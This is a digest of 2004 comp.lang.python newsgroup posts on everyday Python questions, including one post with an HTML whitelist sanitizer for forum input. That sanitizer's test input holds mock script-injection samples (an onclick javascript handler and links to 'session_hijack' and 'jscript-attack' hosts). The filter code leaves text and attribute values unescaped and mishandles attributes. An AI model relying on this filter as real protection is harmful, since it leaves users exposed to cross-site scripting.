From: fidtz at clara#spam#.co.uk (DomF)
Date: Wed, 11 Feb 2004 15:36:23 -0000
Subject: iterating over a list and printing
References: <c0dhev$2gp$1@solaris.cc.vt.edu>
Message-ID: <1076513796.95697.0@despina.uk.clara.net>

"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c0dhev$2gp$1 at solaris.cc.vt.edu...
> ip_list = []
> inputFile = file('ips.txt', 'r')
> ip_list.append(inputFile.read())

This line just reads the whole file into the first element of the list.
Put "print ip_list" here to confirm this to yourself.

You need to loop over the file with the optional "size" parameter set or
by using inputFile.readlines() if ips.txt is one IP address per line.

Dom

> inputFile.close()
> for i in ip_list:
>     print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast
> 128.173.123.255 up" %i
>
> The last line does not work. It prints the first part
(/sbin/ifconfig),
> then the entire list of ips, then the second part (netmask
255.255.252.0
> broadcast 128.173.123.255 up). Any ideas on how to fix this? The
desired
> results are to print a line for each IP.
>
> /sbin/ifconfig IP1 netmask 255.255.252.0 broadcast 128.173.123.255 up
> /sbin/ifconfig IP2 netmask 255.255.252.0 broadcast 128.173.123.255 up
> etc...





From alanmk at hotmail.com  Thu Feb 12 08:00:30 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 12 Feb 2004 13:00:30 +0000
Subject: Simple allowing of HTML elements/attributes?
References: <ZYnWb.1600$h86.1207651@monger.newsread.com>
	<qnklln9grv6.fsf@arbutus.physics.mcmaster.ca>
	<e9570f37.0402112058.75921da4@posting.google.com>
Message-ID: <402B78EE.56B854C@hotmail.com>

[Leif K-Brooks]
>>> I'm writing a site with mod_python which will have, among other
>>> things, forums. I want to allow users to use some HTML (<em>,
>>> <strong>, <p>, etc.) on the forums, but I don't want to allow bad
>>> elements and attributes (onclick, <script>, etc.). I would also like
>>> to do basic validation (no overlapping elements like
>>> <strong><em>foo</em></strong>, no missing end tags). I'm not asking
>>> anyone to write a script for me, but does anyone have general ideas
>>> about how to do this quickly on an active forum?

"Quickly" being an important consideration for you, I'm presuming.

(David M. Cooke) 
>> You could require valid XML, and use a validating XML parser to
>> check conformance. You'd have to make sure the output is correctly
>> quoted (for instance, check that HTML tags in a CDATA block get quoted).

Hmmm, I'd imagine that the average forum user isn't going to know what
well-formed XML is. Also, validating-XML support is one of the areas
where python is lacking. Lastly, wrapping HTML tags in a CDATA block
won't deliver much benefit. You still have to send that HTML to the
browser, which will probably render the contents of the CDATA block
anyway.

[Graham Fawcett]
> You could use Tidy (or tidylib) to convert error-ridden input into
> valid HTML or XHTML, and then grab the BODY contents via an XML
> parser, as David suggested. I imagine that the library version of tidy
> is quick enough to meet your needs.

This is a good idea. Tidy is always a good way to get easily
processable XML from badly-formed HTML. There are multiple ways to run
Tidy from python: use MAL's utidy library, use the command line
executable and pipes, or in jython use JTidy.

http://sourceforge.net/projects/jtidy

[Graham Fawcett]
> Or maybe you could use XSLT to cut the "bad stuff" out of your tidied
> XHTML. (Not something I'm familiar with, but someone must have done
> this before.)

However, this is not a good idea. XSLT requires an Object Model of the
document, meaning that you're going to use a lot of cpu-time and
memory. In extreme cases, e.g. where some black-hat attempts to upload
a 20 Mbyte HTML file, you're opening yourself up to a
Denial-Of-Service attack, when your server tries to build up a [D]OM
of that document.

The optimal solution, IMHO, is to tidy the HTML into XML, and then use
SAX to filter out the stuff you don't want. Here is some code that
does the latter. This should be nice and fast, and use a lot less
memory than object-model based approaches.

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
import xml.sax
import cStringIO as StringIO

permittedElements = ['html', 'body', 'b', 'i', 'p']
permittedAttrs = ['class', 'id', ]

class cleaner(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()

  def startElement(self, elemname, attrs):
    if elemname in permittedElements:
      attrstr = ""
      for a in attrs.keys():
        if a in permittedAttrs:
          attrstr = "%s " % "%s='%s'" % (a, attrs[a])
      self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    if elemname in permittedElements:
      self.outbuf.write("</%s>" % (elemname,))

  def characters(self, s):
    self.outbuf.write("%s" % (s,))

testdoc = """
<html>
  <body>
    <p>This paragraph contains <b>only</b> permitted elements.</p>
    <p>This paragraph contains <i 
    onclick="javascript:pop('porno.htm')">disallowed
attributes</i>.</p>
    <img src="http://www.blackhat.com/session_hijack.gif"/>
    <p>This paragraph contains
    <a href="http://www.jscript-attack.com/">a potential script
    attack</a></p>
  </body>
</html>
"""

if __name__ == "__main__":
  parser = xml.sax.make_parser()
  mycleaner = cleaner()
  parser.setContentHandler(mycleaner)
  parser.setFeature(xml.sax.handler.feature_namespaces, 0)
  parser.feed(testdoc)
  print mycleaner.outbuf.getvalue()
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Tidying the HTML to XML is left as an exercise to the reader ;-)

HTH,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From __peter__ at web.de  Wed Feb 11 10:49:53 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 16:49:53 +0100
Subject: HowTo exec every line of a file inside python program
References: <c0di6f$7nb$03$1@news.t-online.com>
Message-ID: <c0div1$87t$03$1@news.t-online.com>

Joe Richett wrote:

> Hi all,
> 
> I have a python program and I have some "user defined" command stored in
> a separate text file. Is there a builtin command with which I can load
> the "user defined"-file and execute every command line by line, e.g.
> 
> #
> # MAIN PROGRAM
> #
> 
> def a(i):
>    print "here we are #", i
> 
> if __name__ == "__main__":
>    for i in range(10):
>      a(i)
>      <execute everything from FILE.PY>
> 
> ------------------------------------------------------
> 
> #
> # USER DEFINED FILE
> #
> print "here we are in the user defined file"

import user_defined_file

will do it (once) assuming the file is named user_defined_file.py and is in
the python path, e. g. in the current directory. However, it is better to
wrap the code in user_defined_file.py into a function to make exceution
independent from import:

import user_defined_file
# more code
user_defined_file.myfunc() 

Please read Python's excellent tutorial - it's a good starting point and has
some info on how to organize your code, too.

Peter


From peter at engcorp.com  Tue Feb 24 14:16:00 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:16:00 -0500
Subject: Transitivity and direction of "binding" (was Re: Comments
 requested: brief summary of Python)
References: <mailman.50.1077643494.8594.python-list@python.org>
	<103n58pid8eh566@corp.supernews.com>
Message-ID: <403BA2F0.CD017A8F@engcorp.com>

Cameron Laird wrote:
> 
> The approach I like is to discard any language that
> encourages newcomers to regard
>   i = "Hello"
> as an "assignment", and to identify it instead as
> what it is for Python:  a *binding* to the name 'i'.

Is it "binding the object to the name", or is it "binding the name
to the object".  

Or both?  

Or neither?  

Why?

And does it matter? ;-)

(Seriously though...)

-Peter


From mhyoung at valdosta.edu  Thu Feb  5 15:20:27 2004
From: mhyoung at valdosta.edu (michael young)
Date: Thu, 05 Feb 2004 15:20:27 -0500
Subject: unbuffered input
Message-ID: <4022A58B.6070903@valdosta.edu>

Hi,
   I have a numbered menu that I want users to from. They choose the
number corresponding to the action they wish to take.
Right now I'm using input() to get the user's responce. They press the
number then press ENTER. I would like to skip the
part where they press ENTER, so that the user presses the number and
then they get the action they chose without having
to press ENTER. Is there a way to do this and how?

thank you for you time,
          Michael Young





From me at privacy.net  Mon Feb 16 05:38:37 2004
From: me at privacy.net (Duncan Booth)
Date: 16 Feb 2004 10:38:37 GMT
Subject: __del__ doesn't work
References: <21064255.0402151141.51a38fed@posting.google.com>
Message-ID: <Xns94916C3DC835Cduncanrcpcouk@127.0.0.1>

PeterAbel at gmx.net (Peter Abel) wrote in 
news:21064255.0402151141.51a38fed at posting.google.com:

> But the statements
> import gc
> 
> and
> 
> gc.collect()
> 
> should assure that when the reference counter goes to zero
> some time the __del__ method is executed.

If the class is involved in a cycle, then the __del__ method is never 
called.

The garbage collector will simply refuse to collect any objects which have 
__del__ methods. The reason for this is quite simple: if A and B refer to 
each other, and both have __del__ methods, which class should be released 
first? Python refuses to guess, so neither is released.

The garbage collector can trigger a __del__ method when some objects are in 
a cycle and none of them have __del__ methods; then the cycle may be 
released and if this causes some other objects to lose their last reference 
then they will be released and associated __del__ methods called.



From bart_nessux at hotmail.com  Thu Feb 19 10:18:56 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Thu, 19 Feb 2004 10:18:56 -0500
Subject: os.popen
In-Reply-To: <4034C623.3030206@draigBrady.com>
References: <c12ea1$ivs$1@solaris.cc.vt.edu> <4034C623.3030206@draigBrady.com>
Message-ID: <c12k50$rm1$1@solaris.cc.vt.edu>

P at draigBrady.com wrote:
> Bart Nessux wrote:
> 
>> When using os.popen, at what point is the process actually started? 
>> Take the example below... would the first or second line actually 
>> execute the command? If it's the first line, then why would I want to 
>> use the second line at all unless I wanted to see on the console what 
>> happened?
>>
>> ping = os.popen('sh ./ping.sh')
> 
> 
> this will run until the buffer between the ping process and the python
> app is full. This is 4k under linux. Then the ping process will block
> until data is read as there is no where to put it's output.
> 
>> ping.read()
> 
> 
> This will read what's currently in the buffer between the processes.
> You will need to do this in a loop.
> 
> alternatively if you don't care about the output then you
> can throw it away, and hence remove the need for the ping.read() like:
> 
> ping = os.popen("sh ./ping.sh > /dev/null")
> 
>  > ping.close()
> 
> This will wait for the ping process to finish.
> 
> To tell it to finish you will need to do something like:
>   ping = popen2.Popen3("sh ./ping.sh > /dev/null")
>   os.kill(ping.pid, signal.SIGTERM)
>   ping.wait()
> 

Thank you for that explanation. It makes sense. When you say loop the 
read do you mean something like this:

ping = os.popen('sh ./ping.sh')
while 1:
    ping.read()
ping.close()

I liked the /dev/null examples too as I don't need output from some of 
the functions. I didn't know I could throw output away like that.

Thanks,
Bart



From skip at pobox.com  Fri Feb 27 09:56:16 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 27 Feb 2004 08:56:16 -0600
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <FZG%b.20178$253.1255290@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
	<mailman.191.1077856934.8594.python-list@python.org>
	<FZG%b.20178$253.1255290@news20.bellglobal.com>
Message-ID: <16447.23184.701698.418400@montanaro.dyndns.org>


    >> I suspect it's because your dummy _ is not in builtins.  Why not just
    >> call gettext.install() where you are currently defining _?

    Pierre> Skip, this looks like the way to go.

    Pierre> I was trying to avoid it because the translation files for these
    Pierre> library modules are constructed at the application level
    Pierre> somewhere else.  But I was also considering creating a
    Pierre> translation library for these module, so I guess that is one
    Pierre> more incentive to do so...

If you really want a dummy _() you can also stuff your version into
builtins:

    >>> import __builtin__
    >>> def foo(s): return s
    ... 
    >>> __builtin__._ = foo
    >>> _
    <function foo at 0x1d6670>
    >>> _("hi")
    'hi'

Skip



From aahz at pythoncraft.com  Sat Feb 21 21:25:47 2004
From: aahz at pythoncraft.com (Aahz)
Date: 21 Feb 2004 21:25:47 -0500
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
Message-ID: <c193vb$c1a$1@panix3.panix.com>

In article <tisf301qf76c8lh0jkq9086gpqoep1bb1u at 4ax.com>,
 <David Morgenthaler> wrote:
>
>How does one overide the iterator implied by the construct "for line
>in file:"?

You don't.

>For example, suppose I have a file containing row,col pairs on each
>line, and I wish to write a subclass of file that will transform these
>to x,y coordinates using an affine transform. 

Don't.  Write a completely separate iterator (a generator) that does the
transform, which takes an iterator providing strings (lines) as its
input.  Then you can do this:

    for item in transform(f):

which should do what you want and be completely Pythonic.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From mac at dgp.toronto.edu  Fri Feb  6 22:42:04 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: Sat, 07 Feb 2004 03:42:04 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
Message-ID: <877jyzeesq.fsf@dgp.toronto.edu>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> > def foo(i):
> >         print i         foo(i+1)
> > import sys
> > sys.setrecursionlimit(1000000)
> > foo(0)
> 
> This entire thread begs the question: Why are you recursing this deep?
> It would be faster to iterate.

The algorithm calls for it: Tarjan's algorithm for finding the
Strongly-Connected Component (SCC) of a graph.  If there is an equally
efficient iterative approach, I'd like to hear of it.

I don't think I need to recurse to depth 1,000,000 , but definitely higher
than 7k.


From paul at prescod.net  Thu Feb  5 20:41:20 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 05 Feb 2004 17:41:20 -0800
Subject: How can this be?
In-Reply-To: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
Message-ID: <4022F0C0.8070203@prescod.net>

r.e.s. wrote:

> My problem is this ...
> 
> Module A contains the definition of a function f.
> Module B contains:
> 
>     from A import *
>     L = [0]
>     print L
>     x = f(L, 'a data string')
>     print L
 > ...
> 
> How can the list L have gotten changed??

You sent a reference to L into the function. The function probably 
mutated it. If you wish the function to work with a copy, try this:

      from A import *
      L = [0]
      print L
      x = f(L[:], 'a data string')
      print L

This is normal and often useful behaviour.

  Paul Prescod





From newsgroups at jhrothjr.com  Sun Feb  1 15:13:05 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 1 Feb 2004 15:13:05 -0500
Subject: specify types in method calls
References: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>
Message-ID: <101qnitp1jgm296@news.supernews.com>


"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:bvj3bo$4ib$1 at news.rz.uni-karlsruhe.de...
> Hi,
>
> sometimes I'd like to be able to specify that a parameter to a method call
> should be of a specific instance. I can do that using the isinstance()
> buildin in the body of the method.
>
> Is there also a way of specifying this in the method definition, i.e.
>
> class A(object):
>     def foo( name : B ):
>         ...
>
> which then would be equivalent to i.e.
>
> class A(object):
>     def foo( name ):
>         assert isinstance( name, B )
>         ....
>
> Is anything like that already available? Or might that be possible in
future
> versions of Python?

It's certainly not standard Python. I believe there are several
different projects that have implemented some form of type
checking.

The other question is more interesting. At one point there was a
types sig that kind of meandered along without producing any
result.

The advent of TDD (test driven development) has shown that
static typing does not show as much benefit as its proponents
claim. There are even some people (definitely in the minority,
I think) that say that the cost is more than the remaining benefit.

I think that the Python developers would be quite receptive
to proposals in that direction as long as they didn't change
the essential nature of Python. That seems to be remarkably
hard to do. There is some work being done in that direction
in the PyPy project, and the type inference mechanism in
Bycicle Repair Man seems to fall between "less than one
would hope" and "more than one would have thought possible".

John Roth

>
> Ciao
> Uwe




From tweedgeezer at hotmail.com  Wed Feb 18 08:21:26 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 18 Feb 2004 05:21:26 -0800
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
Message-ID: <698f09f8.0402180521.1315d2c@posting.google.com>

aahz at pythoncraft.com (Aahz) wrote in message news:<c0v3il$bk3$1 at panix2.panix.com>...
> In article <ift530d51l8td0uoohm5t9ad96pq5n4e3i at 4ax.com>,
> Avi Kak  <kak at purdue.edu> wrote:
> >
> >Is it possible in Python to define an empty list of a predetermined
> >size?
> >
> >To illustrate my question further, I can do the following in Perl
> >
> >   my @arr = ();
> >   $#arr = 999;
> >
> >that wold cause @arr to become an empty array of size 1000.  This
> >array could be used to store 1000 elements without any further memory
> >allocation for the array itself.
> >
> >Can the same be done in Python?
> 
> Can, yes.  But why?  Python uses an allocation mechanism for lists that
> results in constant amortized time; there's really no reason to
> pre-allocate.

Python's allocation scheme for lists may be constant amortized time,
but it's *very* conservative and thus has a significant constant
factor.  For example:

functor% python /usr/lib/python2.3/timeit.py 'L = [None]*1000' 'for _
in xrange(1000): pass'
1000 loops, best of 3: 248 usec per loop
functor% python /usr/lib/python2.3/timeit.py 'L = []' 'for _ in
xrange(1000): L.append(None)'
1000 loops, best of 3: 1.88e+03 usec per loop

So there's a factor of 7.5 difference in speed there.  I doubt it
matters, but it at least lends some credibility to the idea that
preallocation might be useful.

Jeremy


From wmwd2zz02 at sneakemail.com  Tue Feb 24 22:37:24 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 16:37:24 +1300
Subject: Class == factory function considered harmful? (Re: Thoughts about
 Python)
In-Reply-To: <mailman.78.1077676517.8594.python-list@python.org>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>	<c1gvl4$1j0arb$1@ID-169208.news.uni-berlin.de>
	<mailman.78.1077676517.8594.python-list@python.org>
Message-ID: <c1h59m$1ihsah$1@ID-169208.news.uni-berlin.de>

Paul Prescod wrote:
> Changing from a class to a function is never really very safe:
> 
> class myobject(File):
>     ...
> 
> if isinstance(myobject, File):
>     ....
> 
> How can you change File to be just a function safely?

You can't, obviously. This demonstrates that there *is*
an important distinction to be made between classes and
functions -- you can subclass one and not the other!

Arguments like this (and others, such as the capability-based
security model problems) are making me re-consider whether
having classes also be factory functions is really such
a good idea. There are two distinct ways of using classes
in Python:

1. As a base class
2. As a factory function

and these have different degrees of coupling to the
implementation. Use (1) requires it to really be a
class, whereas (2) only requires it to be a callable
object.

For use (1), there is an advantage in having classes
named differently from functions -- if it's named like
a class, you know it's a class and can therefore
subclass it.

But for use (2), it's a disadvantage, since if something
starts out as a factory function and later changes into
a (published) class, all code using it has to change.

The only way I can see of reconciling these is to adopt
the convention that whenever you publish a class Foo,
you also publish a factory function foo() that instantiates
Foo. Users of it are expected to use Foo when subclassing
and foo() when instantiating.

Now, if you change the implementation so that Foo is
no longer a class, code which subclasses Foo will break --
there's no avoiding that. But code which only instantiates,
using foo(), will keep working.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From ptmcg at users.sourceforge.net  Fri Feb 27 12:14:20 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Fri, 27 Feb 2004 17:14:20 GMT
Subject: Reading selected data from text files
References: <c1njho$adr$1@nemesis.news.tpi.pl>
Message-ID: <MVK%b.7974$lS1.1103@fe2.texas.rr.com>

"..:: sjf ::.." <sjf at autograf.pl> wrote in message
news:c1njho$adr$1 at nemesis.news.tpi.pl...
> Hello Pythoners!
>
> There are a lot of files containing data such as:
>
> file1:
> 0950 1550
>
> file22:
> 0952 1552
>
<snip>
> --
> ..:: sjf ::..
> "Linux is like Wigwam. No gates, no windows... Apache inside ;-)"
Try this:

import sets
import os

uniqueElems = sets.Set()

testdata = """
0950 1550
0952 1552
1000 1020 1050 1130 1150 1200 1245 1600
1002 1022 1052 1132 1152 1202 1247 1602
1005 1025 1055 1135 1155 1205 1250 1605
"""
for line in testdata.split("\n"):
    uniqueElems.update( line.split() )
    # if running Python 2.3.1 or later, replace previous line with
    # uniqueElems |= line.split()

print uniqueElems
elemList = list(uniqueElems)
elemList.sort()
print elemList

# to process all files in directory fileDir
#
#for fnam in os.listdir(fileDir):
#    for line in file(fnam):
#        uniqueElems.update( line.split() )


Good luck,
-- Paul




From peter at engcorp.com  Tue Feb 17 10:49:40 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 10:49:40 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
Message-ID: <40323814.3129EA4B@engcorp.com>

Harry George wrote in a thought-provoking post:
> 
> Of course, even in the natural history phase pioneers and advance
> scouts are capable of detecting an easier pass through the mountains
> of comlexity.  If 20 people from varied background, each of whom has
> worked in several languages, tell me that Python is a really great
> language, then I'll take that as a significant data point.  Especially
> if they are dumping their previously favorite languages (as varied as
> COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
> Python.

My background is (roughly in order) APL, FORTRAN, BASIC, Assembly, C, 
university :-), Pascal, C++, Object Pascal, Java, LabVIEW, and Python 
(with a dozen others I forget) and I'm telling you Python is a really
great language.  I've also dumped my previously favourite languages
(to wit, BASIC, C, C++, Delphi, and Java) to focus on Python.

Now all you need are 19 others and we'll have a significant data point.
(Signifying what?  That's what I want to know. ;-)

-Peter


From mwh at python.net  Sat Feb 28 08:07:36 2004
From: mwh at python.net (Michael Hudson)
Date: Sat, 28 Feb 2004 13:07:36 GMT
Subject: What is the status of the __subclasses__ method?
References: <403f5959$0$41759$5fc3050@dreader2.news.tiscali.nl>
	<m3hdxc8smn.fsf@pc150.maths.bris.ac.uk>
	<404071cf$0$41754$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <m3y8qn73oo.fsf@pc150.maths.bris.ac.uk>

Ruud de Jong <ruud.de.jong at consunet.nl> writes:

> Michael Hudson schreef:
> 
> > Ruud de Jong <ruud.de.jong at consunet.nl> writes:
> > 
> >>The question I have is: how safe / future proof / portable is the
> >>use of the __subclasses__ method that exists for new-style classes?
> > Hmm.  I think it's unlikely to go away.
> > 
> >>When I searched python.org for "__subclasses__" I found
> >>some more information. The __subclasses__ method appears
> >>to exist to allow modifications of the superclass to be
> >>percolated down to its children, mainly for speed reasons,
> >>if I understand Tim Peter's explanation correctly
> >> (http://mail.python.org/pipermail/python-list/2003-August/176360.html). 
> > Yep.
> 
> What I wanted to avoid is that I would rely on something that is
> not part of the Python *language*, but rather of a Python
> *implementation*. But then, the distinction between these two
> is not always clear

Indeed.

> -- if a construct is present in every implementation, what is the
> difference with it being a part of the language?
> 
> Well, raising the question is answering it -- as long as a
> construct is not officially part of the language, that construct
> can in principle change or disappear if the language maintainers
> find that necessary.

I'm not sure this attitude really applies to Python.  There's no real
definition of what "officially part of the language" means.

We don't take things away for the fun of it.  __subclasses__() would
only disappear if some major internal restructuring happened and it
becamse massively inconvenient to keep it.  But this applies (probably
most of the time with less force) to just about anything else!

> >>I also found several warnings that the __subclasses__ method only
> >>returns classes that have been accessed previously (which would
> >>defeat my purpose)
> > Hum, you're being overly paranoid here.  Python defined types are
> > PyType_Ready-ed as soon as they are created.
> > 
> 
> Well, I guess that such cautious behavior has become sort of
> second nature for me -- a consequence of having worked some
> twenty years on a huge software system (think multi-million lines
> of C code), with thousands of colleagues adding, deleting and
> modifying code simultaneously. In spite of strict processes and
> procedures, too often somebody would make themselves dependent on
> some construct in another part of the system that was never
> meant for public usage. 

It's exposed to Python.  It it was really meant to be internal, that
wouldn't have happened.

> Anyway, if I understand you correctly, as long as the subclasses
> are implemented in Python, they will be known to their parent
> immediately.

Yes.

> And from your other remarks I get the impression that the
> __subclasses__ method is a rather permanent feature in every Python
> implementation.

Well, it's only present in one implementation at the moment, for what
that's worth...

> > 
> >>So again, my question. Is it safe to use the __subclasses__
> >> method for the purpose I described above? 
> > Well, I can't see into the future, but I'd feel secure using it.
> > I'm not sure what you describe is a very tasteful use of it
> > though...
> > 
> Well, not being a native english speaker, I don't quite know how to
> interpret this latter remark. Please elaborate. Are you objecting
> to the use of the __subclasses__ method?

No.

> Or to the general mechanism I described?

I didn't really spend long trying to understand what you said you were
trying to do, but it sounded a little strange.  That's all.

> Here is the essence of the use of __subclasses__ in the application
> I referred to. Note that is a variant of the Chain-of-Responsibility
> pattern, applied to the Factory Method. I know that I abused the
> NotImplementedError -- in the actual application it is a custom-
> defined exception. But for illustration purposes I wanted to avoid
> such non-essential details.
> 
>  >>> class Event(object):
> 	def __new__(cls, line):
> 		for subclass in cls.__subclasses__():
> 			try:
> 				return subclass.__new__(subclass, line)
> 			except NotImplementedError:
> 				continue
> 		raise NotImplementedError
> 
> 	
>  >>> class MsgEvent(Event):
> 	pass
> 
>  >>> class IncomingMsgEvent(MsgEvent):
> 	def __new__(cls, line):
> 		if line.startswith('RCV:'):
> 			return object.__new__(cls)
> 		raise NotImplementedError
> 
> 	
>  >>> class OutgoingMsgEvent(MsgEvent):
> 	def __new__(cls, line):
> 		if line.startswith('SND:'):
> 			return object.__new__(cls)
> 		raise NotImplementedError
> 
> 	
>  >>> x = Event('RCV: blah blah')
>  >>> x
> <__main__.IncomingMsgEvent object at 0x00AD2D30>
>  >>>

That's cute.

> The thing to note is that I can add subclasses at will, and never
> have to revisit the Event root class. This means better
> maintainability and extensibility.

Yes.  I've actually used __subclasses__ for a somewhat similar
purpose, having a Resource class whose subclasses know how to find all
instances of each resource type and so being able to find all
resources by looking through subclasses.

I will note that there's some thing *slightly* odd going on here,
which perhaps is highlighted by considering what happens if you
subclass OutgoingMsgEvent.  In the code you posted, this subclass
wouldn't be picked up.  You could traverse the subclass graph easily
enough, but it seems to me that "is able to instantiate events" is
more like a "class-instance" relationship (flat) than a
"class-subclass" relationship (possibly nested) and so it might be
more appropriate to make all your Event classes instances of a custom
metaclass that keeps track of its instances and then create events by
calling a method on the metaclass.

But, whatever.

> > 
> >>Or would it be safer to revert to my home-grown metaclass solution?
> > You might want to keep it around, I guess...
> > 
> I will. I joins my collection of APL one-liners and my FORTRAN V
> preprocessor :-)

:-)

Cheers,
mwh

-- 
  Linux: Horse. Like a wild horse, fun to ride. Also prone to
  throwing you and stamping you into the ground because it doesn't
  like your socks.         -- Jim's pedigree of operating systems, asr


From claird at lairds.com  Sat Feb 21 10:27:10 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 21 Feb 2004 15:27:10 -0000
Subject: Python is too fast !
References: <8089854e.0402210039.5b761d0f@posting.google.com>
Message-ID: <103eu6easrqsbc1@corp.supernews.com>

In article <8089854e.0402210039.5b761d0f at posting.google.com>,
Fuzzyman <michael at foord.net> wrote:
>I've written an anagram finder that uses recursion and a large
>wordlist to find anagrams of input words you give it (e.g. 'michael
>food' = 'cool firm head') ;-)
>
>http://www.voidspace.org.uk/atlantibots/nanagram.html
>
>It has a nice Tkinter front end and works very well, *except* if you
>give it a long input it takes a long time to process (as might be
>expected) - ten minutes or more sometimes before it returns with the
>answers.
>
>I've done a CGI version which returns the answers *whilst* it is
>finding them ( http://www.voidspace.xennos.com/cgi-bin/Nanagram-CGI.py
>) - which is a much slower method, but less boring to watch.
>
>So I've coded an option - which opens a temporary window with a
>Tkinter text widget in a frame and outputs the answers to the window
>as it finds them. The trouble is that the recursion is very processor
>intensive and it 'freezes' the window and it doesn't update. (I'm
>running on an AMD XP1700 with Win XP).
>
>*If* I run this from IDLE and put a print statement into the loop as
>well as output to the text widget, then the print statement seems to
>free up the widget and it works as it should. I suspect that the print
>statement is making system calls which free up the system long enough
>to update the screen. When I run it without a console - the benefit is
>lost and it freezes again. However I've tried adding a sleep statement
>( 0.001, 0.01 and even 0.1 of a second) and this has no effect (other
>than slowing down the loop without unfreezing the window).
>
>I'm looking for another suggestion to 'waste time' - preferably in a
>'non-processor-intensive' way, that returns control to the sytem for
>an instant ? (also preferably cross platform).
			.
			.
			.
1.  I haven't looked at your code.
2.  I think you're describing an aspect of Tkinter
    programming that's puzzled many of us.  Calling
    it a way to "waste time" probably doesn't get
    your point across, though.
3.  The simple-minded answer I believe you're after
    is:  use update() <URL:
http://www.pythonware.com/library/tkinter/introduction/x9374-event-processing.htm >
4.  The Tk crowd has a lot to say on this subject
    <URL: http://wiki.tcl.tk/1526 >.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From smcg4191 at frii.RemoveThisToReply.com  Mon Feb 16 17:28:44 2004
From: smcg4191 at frii.RemoveThisToReply.com (Stuart McGraw)
Date: Mon, 16 Feb 2004 15:28:44 -0700
Subject: overriding method that returns base class object
Message-ID: <4031441c$0$202$75868355@news.frii.net>

I have a class A from a third party that I cannot change
and is implemented in C.  I derive my own class B from A 
and add a couple new methods and override a method.  The 
problem is that A has a method (call it A.f() ) that creates 
and returns a new A object.  I need B.f() to return a B 
object derived from A.f().  What is the best way to make 
that happen?



From pinard at iro.umontreal.ca  Mon Feb 23 17:19:09 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 23 Feb 2004 17:19:09 -0500
Subject: Library for handling GNU parameters
In-Reply-To: <403A7946.378FE946@engcorp.com>
References: <c1dspf$8o5$05$1@news.t-online.com> <403A7946.378FE946@engcorp.com>
Message-ID: <20040223221909.GA17427@titan.progiciels-bpi.ca>

[Peter Hansen]

> The standard library module getopt can do that, at least for the sort
> of example you show, and I suspect the newer standard library module
> optparse could also handle it (but haven't tried myself).

I think I read that `optparse' is not going to handle optional arguments
that we find in some commands, and which GNU `getopt' (and also the old
standard `getopt', if I remember well) do handle.  As this is a design
choice for `optparse', it might never fully replace `getopt'.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From ketulp_baroda at yahoo.com  Thu Feb 19 03:47:13 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 19 Feb 2004 00:47:13 -0800
Subject: truly global variables
Message-ID: <f046efac.0402190047.ee56994@posting.google.com>

Hi
Global variables are not truly global in Python ; they are only global
within a module namespace. I want a variable such that if i change its
value in any module then it should be reflected in other modules too.
What I mean is I wanta varibale say i whose initial value is 1.
If I change value of i in foo.py to say 5 and now I print value of i
in bar.py ,it should print 5.How to do this??

  
--


